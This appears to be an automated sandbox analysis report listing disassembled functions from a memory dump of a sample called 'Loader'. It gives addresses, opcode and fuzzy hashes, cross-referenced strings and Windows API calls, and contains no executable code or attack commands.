Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: ce48a3c9b0fa638733b3dcb3ae2aa973df0f9a68e8975aeb9a0a9baac5ebf188
Instruction ID: 6613827ec3c10122b2e5d361333fd8ba05874ea33edfc9b2f87dc349e6a0f25c
Opcode Fuzzy Hash: ce48a3c9b0fa638733b3dcb3ae2aa973df0f9a68e8975aeb9a0a9baac5ebf188
Instruction Fuzzy Hash: FF42023960A251CFD708CF28D8D166AB7E1FB8A314F0A897DD985873A1D738D841CB85

Function 004415E0 Relevance: 2.0, Strings: 1, Instructions: 741COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: 9fb41d32e706f55cc12b4f8d34d2204635963b9735128b16c4cc16e082c4ef24
Instruction ID: 3fa07439a0f7573cb0706cfdeefb847a8e64a9e91e7d9db493dc6942fee0f14a
Opcode Fuzzy Hash: 9fb41d32e706f55cc12b4f8d34d2204635963b9735128b16c4cc16e082c4ef24
Instruction Fuzzy Hash: 6422103960A251CFD748CF28D8D026AB7E2FB8A354F0E897DD98587361D738E841CB85

Function 00441760 Relevance: 1.9, Strings: 1, Instructions: 637COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: b58ca49894712a8566ac4dc3d5a6e7b9d933ccbb47a1014a1bb0e5db58485cd6
Instruction ID: fca6e19647abad176c6f28147ff5be21218197b10133bc286f28f7041be03caa
Opcode Fuzzy Hash: b58ca49894712a8566ac4dc3d5a6e7b9d933ccbb47a1014a1bb0e5db58485cd6
Instruction Fuzzy Hash: 8C12F23AA0A351CFD708CF28D8D062AB7E2FB8A354F1A897DD98587361D734D845CB85

Function 00441840 Relevance: 1.9, Strings: 1, Instructions: 607COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: 447b05bc3f8918469a4429b700c0a1ef2244e428fb08f6a37e2d8b533b43c3fb
Instruction ID: 39202574c58b34a1224b564560cbcbca7079311a1b355e9ffad27d65d55dd8b2
Opcode Fuzzy Hash: 447b05bc3f8918469a4429b700c0a1ef2244e428fb08f6a37e2d8b533b43c3fb
Instruction Fuzzy Hash: 6602F039B09351CFD708CF28D89026AB7E2FB8A364F0A897DD98587361D739D841CB85

Function 00441920 Relevance: 1.8, Strings: 1, Instructions: 556COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: 5df328c7d032e8fe84d5b444499398a42f283de1ee7890aea5255797a19c1c89
Instruction ID: 5292721a63ed74f8458c42dd38fcae3cac322072aab462580ba53c2b3963f632
Opcode Fuzzy Hash: 5df328c7d032e8fe84d5b444499398a42f283de1ee7890aea5255797a19c1c89
Instruction Fuzzy Hash: A4F11279A09351CFD708CF28D89022BB7E2FB8A354F0A897DD98687391D739D841CB85

Function 00424DF0 Relevance: 1.7, APIs: 1, Instructions: 245comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00445598,00000000,00000001,00445588), ref: 00424E19

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c9e3f42f2496e3834fa400150481dc9dd8723b376f478ce9e6d5572c437d6800
Instruction ID: 8f26748d61ac36b2e9bc8865003d1212a895a297ddedaabadd5d9704f4d57fb6
Opcode Fuzzy Hash: c9e3f42f2496e3834fa400150481dc9dd8723b376f478ce9e6d5572c437d6800
Instruction Fuzzy Hash: DB51CFB17002209BDB209B24EC86B7773A4FFC5768F4A4559F985CB391E778E900C76A

Function 0041B02F Relevance: 1.7, Strings: 1, Instructions: 406COMMON

Download Yara Rule

Strings

0, xrefs: 0041B2DD

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 0
API String ID: 2994545307-4108050209
Opcode ID: 499601384c7250a67f61823f0e1ca8916f94d06def2dadd89bdf99aefc78f7c6
Instruction ID: 82841ebd4d3e9e7505bba7a2f5555baad8950d30653fb2d3e8b07ce87f153982
Opcode Fuzzy Hash: 499601384c7250a67f61823f0e1ca8916f94d06def2dadd89bdf99aefc78f7c6
Instruction Fuzzy Hash: E1D1DF74508381CFD724CF24D460BAFBBE1FB8A314F14896EE4D647262D735A946CB8A

Function 0042B5DE Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

\=m?, xrefs: 0042B932

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: \=m?
API String ID: 0-3927515410
Opcode ID: ab601c91d158b981441ac4e58b38dbcd3cec6419c0c30c0d1e3296104fb824d5
Instruction ID: d7ada216deb33fd426f847a6b674989f43deeaac360895e3897c7e459550c470
Opcode Fuzzy Hash: ab601c91d158b981441ac4e58b38dbcd3cec6419c0c30c0d1e3296104fb824d5
Instruction Fuzzy Hash: 96B1DEB16083568BD720CF24D84036BBBE1FFC1304F54892DE9999B281EB789949CB86

Function 0043E4A0 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

K, xrefs: 0043E511

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: dc98db39b9db22c99a7edb9309d7fe55712ab32d1157a83f4ff06d024a2e7697
Instruction ID: 14d05baf9ebd69673c9dcd38147bb042d9b28a0b7e1958224a48f40b73bb0492
Opcode Fuzzy Hash: dc98db39b9db22c99a7edb9309d7fe55712ab32d1157a83f4ff06d024a2e7697
Instruction Fuzzy Hash: 25A1E73160D3914FC319CF29C49062EBBE1AFD9314F198A6EE4E5473D2D679D806CB86

Function 0042FA7B Relevance: 1.5, Strings: 1, Instructions: 278COMMON

Download Yara Rule

Strings

z\B , xrefs: 0042FC0C

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: z\B
API String ID: 0-3108062591
Opcode ID: 31794fa057f5a9485f02d9e3383861910ad714f1c367ccdd65adb1906d5748fb
Instruction ID: 18a4686d9457f54035211fa5fd17e537f792f59ad71be5826e009a95238e3c8e
Opcode Fuzzy Hash: 31794fa057f5a9485f02d9e3383861910ad714f1c367ccdd65adb1906d5748fb
Instruction Fuzzy Hash: 9991E576614B408ED325CF35C8917A3BBE2EF96304F48896DC0EB8B385D73DA5098B15

Function 0043D970 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

5|iL, xrefs: 0043DB50

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 5|iL
API String ID: 0-1880071150
Opcode ID: 24ae80988b112d0df9409a465defe5bbf2815b7d67a9c0cc2b486bd14612a374
Instruction ID: 615e6df6665e718ef1b0ed1c4196a27fa8a302d40aa64b537871091cbe2286e7
Opcode Fuzzy Hash: 24ae80988b112d0df9409a465defe5bbf2815b7d67a9c0cc2b486bd14612a374
Instruction Fuzzy Hash: 2E512832E083609BD720DE29998065BF7D6AB89724F1A953EDCD8AB351D239DC0187C5

Function 00441F00 Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: r D
API String ID: 0-1275184135
Opcode ID: cde81672914e9bccc3dc1822039c813eddc75743a2b483219164b49db39d6c13
Instruction ID: 4baa837a682e00b79eec7ecbeffd83229dd96bd549b6dc17f852592ab8d503e6
Opcode Fuzzy Hash: cde81672914e9bccc3dc1822039c813eddc75743a2b483219164b49db39d6c13
Instruction Fuzzy Hash: 2341E439A1A251CFD348CF38D88022BB7E2EB8A315F0D98BDE489C7251D739C846CB55

Function 0042E6FC Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

z\B<, xrefs: 0042E754

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: z\B<
API String ID: 0-2906659120
Opcode ID: 3efc317941df68850e947550c7d882803de32b64531bf8ce015460ea843ce15c
Instruction ID: 3403b3ec7746e68af654632c9af74043e608063036dd4035708f9e3e28b2fa63
Opcode Fuzzy Hash: 3efc317941df68850e947550c7d882803de32b64531bf8ce015460ea843ce15c
Instruction Fuzzy Hash: 3341D9A46047A08BD3328B3694A17A3BFE1AF53304F58499ED5E71B343D3396509CB5A

Function 0041AA68 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

K7, xrefs: 0041AAB9

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: K7
API String ID: 2994545307-4265185514
Opcode ID: e3e8edb9ba0397faa54805ff5563bb50fae93839d751c6f7e7c04a52a825659c
Instruction ID: a4db1068415fadc9cdd31992e2248126b9c66ec4bc7dae9dee6f407cf00c46ab
Opcode Fuzzy Hash: e3e8edb9ba0397faa54805ff5563bb50fae93839d751c6f7e7c04a52a825659c
Instruction Fuzzy Hash: B25102742093409BE7288B21D9817BBB7E3FF95714F24452DE28207272D779AC86CB4B

Function 00442950 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00442AA0

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 2be1c1d616be887a816f25e25ef5df8779d6c425ff86262c209e95e4619398c4
Instruction ID: 3e5c4b9a5fa6a99628b6776850f7b1d5136951131d8e647e83234ccaa70e9d83
Opcode Fuzzy Hash: 2be1c1d616be887a816f25e25ef5df8779d6c425ff86262c209e95e4619398c4
Instruction Fuzzy Hash: C6415A36744300ABE324DF29DD80B7BF7E6EBC9301F69453DE585A3251DBB4A904C649

Function 0042B880 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

\=m?, xrefs: 0042B932

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: \=m?
API String ID: 0-3927515410
Opcode ID: 5c3c32c8e603ce835200e274f53698adb9d5c8ffaff33d9aaf40498a7b314021
Instruction ID: ebf55b8466a4157a73dd5975e4a6720e27fa5c1b227ab0e596c2bf0bf79c038b
Opcode Fuzzy Hash: 5c3c32c8e603ce835200e274f53698adb9d5c8ffaff33d9aaf40498a7b314021
Instruction Fuzzy Hash: 8741D4B4A083169BD710DF14D85136BB3F0EF82314F54892DF9898B381EB78C955DB8A

Function 00442150 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

@, xrefs: 00442202

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 104b9a65bb311a1db602a386b8eee6bf3edd384dbf4f49959effe9b44746b6d3
Instruction ID: d9348c25faa97a0893fe4cf35a4a77d8276ccc20bdb55aeb94306999975d0b26
Opcode Fuzzy Hash: 104b9a65bb311a1db602a386b8eee6bf3edd384dbf4f49959effe9b44746b6d3
Instruction Fuzzy Hash: B24122729053109BE3148B24CC41B6BBBE2FFD9318F59851DF989673A0E7B99904C78A

Function 0041A0F8 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

XTx, xrefs: 0041A160

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: XTx
API String ID: 0-3664917863
Opcode ID: b8e12908a26261a320ac89487cc04741ef1c8959fb397e25057107e25354131c
Instruction ID: 9758cd383cbc4e30398dce3ef6afc1f5afbf0b8fd5ad5c6b590df952c331867f
Opcode Fuzzy Hash: b8e12908a26261a320ac89487cc04741ef1c8959fb397e25057107e25354131c
Instruction Fuzzy Hash: 4C01D67464D340ABD360CF14D480BABB3E6FB8A310F10942DE0C483257DB79E9568B5B

Function 00425050 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779545d2fe4942f42198e2120b046c0a41253dc1da7e6b9130b96e7d66a0434c
Instruction ID: 87fa2eb4765b8377b81591044aa21b33e97211d987ff3035398b58929221445b
Opcode Fuzzy Hash: 779545d2fe4942f42198e2120b046c0a41253dc1da7e6b9130b96e7d66a0434c
Instruction Fuzzy Hash: 91B16672A047209BC710DF28D85277BB3E1EF95364F99942EE8C687391E778D801C79A

Function 0041976F Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a91093ebc78a1acf2f137e19cf6a586fc3d47acfc34272f3810e268d6f996fd
Instruction ID: 97fb6331afa9d5b2e72a0c70b6d856a2f439593200af1677436a1fab82c961e3
Opcode Fuzzy Hash: 9a91093ebc78a1acf2f137e19cf6a586fc3d47acfc34272f3810e268d6f996fd
Instruction Fuzzy Hash: 146126B1E1021187CB249F28C8A26B7B7B1FF95314F198229E8959B3C1E7399D45C3D9

Function 00419A1F Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16a1d0a6e41c3eb88122fde69921289e4a8ef302036d83e0dc9ebf55b30f31f
Instruction ID: a99eebf4cc5ff7592fa2c02fe8b88a482f2c5e79d402392339093b5d4a57019e
Opcode Fuzzy Hash: b16a1d0a6e41c3eb88122fde69921289e4a8ef302036d83e0dc9ebf55b30f31f
Instruction Fuzzy Hash: CE91D076D00215CBDB14DF54D862ABEB3B0FF4A314F090069E946AB391E73AAD41CB99

Function 004200C6 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a4e11f7717233bd428ccdc22a27a6da1a37da6cdd3a93533b86fdb972afce09
Instruction ID: f308db6ec8f84ea8b5b58c29a0b76a40e3800f2521e77405773cac6c4f72ef52
Opcode Fuzzy Hash: 1a4e11f7717233bd428ccdc22a27a6da1a37da6cdd3a93533b86fdb972afce09
Instruction Fuzzy Hash: FD6104B69083608BD710CF25D80222BBBF1FFD5304F58896EE8D59B391E7399905CB96

Function 0042C778 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64fffffbce469819bdb1a2fca122c366e1734777715d23578e3c83055987fe4a
Instruction ID: db6700f0b41101120d6c65c97ec77f2b3487af5ddac09f7af4dcbea1cdb7f869
Opcode Fuzzy Hash: 64fffffbce469819bdb1a2fca122c366e1734777715d23578e3c83055987fe4a
Instruction Fuzzy Hash: 4971F0F5A403288FDB14CF65C98279A7FB1FB49310F2A95ACD805AF35AD7748801CB95

Function 00421A80 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e1f9c36d402f732c5c02caac65c83e8d0930f01023050289f59666d41e5663d
Instruction ID: 816800942f8c8298ad4631cf468aa7cc5e622ce6c49daa882013a20ca6946c9c
Opcode Fuzzy Hash: 9e1f9c36d402f732c5c02caac65c83e8d0930f01023050289f59666d41e5663d
Instruction Fuzzy Hash: 5E618C34A083A15FC325CF29D890A2B7BE1AFA5314F4882AEE8D4473A3DA75DC01C756

Function 0042AE30 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15de57377d28607905639b312d8fe7d5e82da97b07dbce84fbc16061c11e21bc
Instruction ID: 85a7046368f41673eed8d1ddac9fee0d27394d916857723d64d820ca91703fde
Opcode Fuzzy Hash: 15de57377d28607905639b312d8fe7d5e82da97b07dbce84fbc16061c11e21bc
Instruction Fuzzy Hash: A751E976A18B254FC718CE2C9C5022BB3D29BC5211F4A863DEC669B386EF34EC15D785

Function 0042CF9F Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1cfda60b0395abd42cb60c63deacccdb0d844202593929d2d6cc8eac1d1e3d90
Instruction ID: 5ed8e28bba68d727b8825eb1adf3e03e7d10d226d3010a0375d8988c51d7785b
Opcode Fuzzy Hash: 1cfda60b0395abd42cb60c63deacccdb0d844202593929d2d6cc8eac1d1e3d90
Instruction Fuzzy Hash: 75410639F001219BEB058F55E8817EEB7F2EB99308F545069D041A7373C7695D0A8759

Function 00429520 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc737e753ae299be771a6033fe8ee273ac72753f23915498294fb02e1c8ce69
Instruction ID: f1161e050730514c5bff23caac1bed39a74a54e049a2a9ee7b08a3d1eabb15db
Opcode Fuzzy Hash: 6cc737e753ae299be771a6033fe8ee273ac72753f23915498294fb02e1c8ce69
Instruction Fuzzy Hash: 9C319C227952218FEB198A2898A15B7BBC5DF52360F9D837EC512073D2D61C8D09D36D

Function 004426A0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4d89b7bbc62ae38d0b25c91385414e4cbfa86e52817a831eab97bec0a063149e
Instruction ID: d7a6823c2f83f0c79939fe29bd0eb027ecbe73e209f0e155d9f26f087fa36e19
Opcode Fuzzy Hash: 4d89b7bbc62ae38d0b25c91385414e4cbfa86e52817a831eab97bec0a063149e
Instruction Fuzzy Hash: C221AD357042005BE7189F28CD90ABFB7E6EBCA314F58813DE54587361EB785905C755

Function 00426E01 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d020a18eca64efc37ff52bd6fa232c7099699a067d870ca0a074011afe307353
Instruction ID: ad6d6a34f3bc26702e67d72789ccae2b993cf8e3816f802f49bc82cf64b2861f
Opcode Fuzzy Hash: d020a18eca64efc37ff52bd6fa232c7099699a067d870ca0a074011afe307353
Instruction Fuzzy Hash: AA11BBB8908390CAD7608F24D4912BBBBF0EF86344F66182DD4D9A7360E7358881DF0A

Function 00438450 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 9ca3eed3d90529c6fa8670ecaabb55e0c4610ac4c9156cb648ee0b257b753566
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 5A11E933A052D54EC3168D3C8400566FFA31AB7234F5993DEF4B49B2D3EA268D8A8359

Function 0042D4D0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0ed89da4d194a249dea56de507e2c3448498b4160b0c89b700cdc7d46729f6e
Instruction ID: c10e71c0090f43559d1783fb3a6e4e2b506a54cfb0658ceaebdf86414417e7fd
Opcode Fuzzy Hash: a0ed89da4d194a249dea56de507e2c3448498b4160b0c89b700cdc7d46729f6e
Instruction Fuzzy Hash: B8019EF1B00B1167DB20AE15B5C0B37A2A86F8470CF58443EE84557342EBB9FC45CA99

Function 0041A080 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e889047ce47810d4ff93c1c95d59e27e0581495cb879a03c7c469d0568e2c49
Instruction ID: 781bd291b065d37a2cd783415564ca8024faf01e41efabedd16a025487f4dfad
Opcode Fuzzy Hash: 3e889047ce47810d4ff93c1c95d59e27e0581495cb879a03c7c469d0568e2c49
Instruction Fuzzy Hash: 4E014C382153009BEB24CF15DC1177BB7E1FB8A314F14942DE1C693192DB7998A5974F

Function 0042ADEA Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 222c4ae326d4d00b7d376adc150a56106c633bb8f427ba6c17028ce0dbcf85d5
Instruction ID: 4fdfcec363e4b29463783485d583b444327f0c35f7d7c58c0aa9bf79320176c3
Opcode Fuzzy Hash: 222c4ae326d4d00b7d376adc150a56106c633bb8f427ba6c17028ce0dbcf85d5
Instruction Fuzzy Hash: 67E0027890D7419FD714CF18D58096AF7F4EB8A714F04A82DE999A7312D230EC149B1A

Function 0040C09A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ce50fbbdd0b761b2b938ee50b79135e521bc0af6b7910d02ac7cfc2b4e04f30
Instruction ID: b2588b393d12778ec27d30cb14f448fa524a6d510820c570cca846c061998388
Opcode Fuzzy Hash: 9ce50fbbdd0b761b2b938ee50b79135e521bc0af6b7910d02ac7cfc2b4e04f30
Instruction Fuzzy Hash: 6AD012B9E5C2008BD308CF14D891272F2F5FB8730AF01283CD29AD32A2CB3188428E0C

Function 00426ED0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8983d34e5b7c412fb6c2d56d221b7c5fe6e0f3e795b5749f7959153fdeef6342
Instruction ID: dd4d07c8426cd46c9771d8fb13c3043fedb7cbd687317d03fad473cf8c087eb3
Opcode Fuzzy Hash: 8983d34e5b7c412fb6c2d56d221b7c5fe6e0f3e795b5749f7959153fdeef6342
Instruction Fuzzy Hash: FBC0123AA28040EFD7028F28E810432B278AB8730AF202838C156E3120C332EC40DA0C

Function 00E64CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00E64CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00E64CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00E64CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00E64CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00E64CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00E64D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00E64D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00E64D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00E64D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00E64D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00E64D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00E64D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00E64D7F
